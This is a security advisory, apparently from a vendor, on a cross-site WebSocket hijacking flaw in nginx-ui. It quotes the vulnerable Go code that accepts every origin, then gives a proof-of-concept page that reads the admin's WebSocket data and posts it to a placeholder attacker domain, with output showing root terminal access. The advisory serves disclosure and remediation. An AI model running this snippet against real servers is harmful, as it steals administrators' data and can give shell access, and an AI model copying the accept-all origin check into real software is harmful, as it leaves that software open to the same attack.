CVE-2026-34403

CVE-2026-34403 is a high-severity cross-site request forgery (CSRF) vulnerability in github.com/0xJacky/Nginx-UI (go), affecting versions < 1.9.10-0.20260316053337-1a9cd29a3082. It is fixed in 1.9.10-0.20260316053337-1a9cd29a3082.

Summary

All WebSocket endpoints in nginx-ui use a gorilla/websocket Upgrader with CheckOrigin unconditionally returning true, allowing Cross-Site WebSocket Hijacking (CSWSH). Combined with the fact that authentication tokens are stored in browser cookies (set via JavaScript without HttpOnly or explicit SameSite attributes), a malicious webpage can establish authenticated WebSocket connections to the nginx-ui instance when a logged-in administrator visits the attacker-controlled page.

Details

Vulnerable Code Pattern

Every WebSocket endpoint in the codebase uses the same unsafe upgrader configuration:

// Found in: api/terminal/pty.go, api/analytic/analytic.go, api/event/websocket.go,
// api/nginx_log/websocket.go, api/upstream/upstream.go, api/cluster/websocket.go,
// api/nginx/websocket.go, api/certificate/revoke.go, api/sites/websocket.go,
// api/llm/llm.go, api/llm/code_completion.go, api/system/upgrade.go
var upgrader = websocket.Upgrader{
    CheckOrigin: func(r *http.Request) bool {
        return true // Accepts ALL origins
    },
}

Cookie-Based Authentication

The Vue.js frontend stores JWT tokens as cookies without security attributes (app/src/pinia/moudule/user.ts):

watch(token, v => {
    cookies.set('token', v, { maxAge: 86400 })  // No HttpOnly, no SameSite
})

The backend middleware accepts tokens from cookies (internal/middleware/middleware.go):

func getToken(c *gin.Context) (token string) {
    // ...
    if token, _ = c.Cookie("token"); token != "" {
        return token
    }
    return ""
}

Affected Endpoints

All WebSocket endpoints under the authenticated router group are vulnerable:

Endpoint Impact
/api/nginx/detail_status/ws Leak nginx performance metrics and configuration
/api/events Leak system processing events
/api/analytic/intro Leak CPU, memory, disk, network statistics
/api/nginx_log Read nginx log files (access/error logs)
/api/pty Interactive terminal access (RCE if OTP not enabled)
/api/upgrade/perform Trigger system binary upgrade
/api/cluster/nodes/enabled Leak and manipulate cluster node data

PoC

Environment Setup

services:
  nginx-ui:
    image: uozi/nginx-ui:latest
    ports:
      - "9000:80"
    volumes:
      - nginx-ui-config:/etc/nginx-ui
volumes:
  nginx-ui-config:

Attack Page (hosted on attacker-controlled domain)

<script>
// Attacker page at http://evil-attacker.com
// Victim must be logged into nginx-ui
const ws = new WebSocket('ws://TARGET_NGINX_UI:9000/api/nginx/detail_status/ws');
ws.onopen = () => console.log('CSWSH: Connected from malicious origin!');
ws.onmessage = (e) => {
    console.log('Stolen data:', e.data);
    fetch('https://evil-attacker.com/collect', {method:'POST', body: e.data});
};
</script>

Automated PoC Results

[+] VULNERABLE! WebSocket connected from http://evil-attacker.com
[+] Received: {"stub_status_enabled":false,"running":true,"info":{"active":0,...}}

[+] VULNERABLE! Event stream from http://evil-attacker.com
[+] Received: {"event":"processing_status","data":{"index_scanning":false,...}}

[+] VULNERABLE! Analytics from http://evil-attacker.com
[+] Received: {"avg_load":{"load1":0.1,"load5":0.2},"cpu_percent":0.08,...}

[+] CRITICAL: Terminal connected from http://evil-attacker.com!
[+] Terminal output: 'eae7a76e3ef4 login: '
[*] Sent username: root
[+] Output: 'Password: '

[+] Control test (no auth): Correctly rejected with HTTP 403

Impact

An attacker can create a malicious webpage that, when visited by an authenticated nginx-ui administrator, silently:

  1. Steals sensitive server information -- nginx configuration, performance metrics, CPU/memory/disk usage, network traffic statistics, and system events
  2. Reads nginx log files -- potentially containing sensitive request data, IP addresses, and authentication tokens
  3. Gains interactive terminal access -- if the administrator has not enabled OTP/2FA, the attacker obtains a full PTY shell on the server, achieving Remote Code Execution
  4. Triggers system operations -- including nginx reload/restart and binary upgrades

The attack requires no privileges and no knowledge of the victim's credentials. The only user interaction needed is visiting a webpage.

A victim's authenticated browser session is used to submit forged requests to an application that cannot distinguish them from legitimate ones. Typical impact: state-changing actions performed as the victim without their consent.

CVE-2026-34403 has a CVSS score of 8.1 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.9.10-0.20260316053337-1a9cd29a3082); upgrading removes the vulnerable code path.

Affected versions

github.com/0xJacky/Nginx-UI (< 1.9.10-0.20260316053337-1a9cd29a3082)

Security releases

github.com/0xJacky/Nginx-UI → 1.9.10-0.20260316053337-1a9cd29a3082 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Upgrade github.com/0xJacky/Nginx-UI to 1.9.10-0.20260316053337-1a9cd29a3082 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-34403? CVE-2026-34403 is a high-severity cross-site request forgery (CSRF) vulnerability in github.com/0xJacky/Nginx-UI (go), affecting versions < 1.9.10-0.20260316053337-1a9cd29a3082. It is fixed in 1.9.10-0.20260316053337-1a9cd29a3082. A victim's authenticated browser session is used to submit forged requests to an application that cannot distinguish them from legitimate ones.
  2. How severe is CVE-2026-34403? CVE-2026-34403 has a CVSS score of 8.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of github.com/0xJacky/Nginx-UI are affected by CVE-2026-34403? github.com/0xJacky/Nginx-UI (go) versions < 1.9.10-0.20260316053337-1a9cd29a3082 is affected.
  4. Is there a fix for CVE-2026-34403? Yes. CVE-2026-34403 is fixed in 1.9.10-0.20260316053337-1a9cd29a3082. Upgrade to this version or later.
  5. Is CVE-2026-34403 exploitable, and should I be worried? Whether CVE-2026-34403 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-34403 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-34403? Upgrade github.com/0xJacky/Nginx-UI to 1.9.10-0.20260316053337-1a9cd29a3082 or later.

Other vulnerabilities in github.com/0xJacky/Nginx-UI

CVE-2026-42238CVE-2026-42223CVE-2026-42222CVE-2026-42221CVE-2026-42220

Stop the waste.
Protect your environment with Kodem.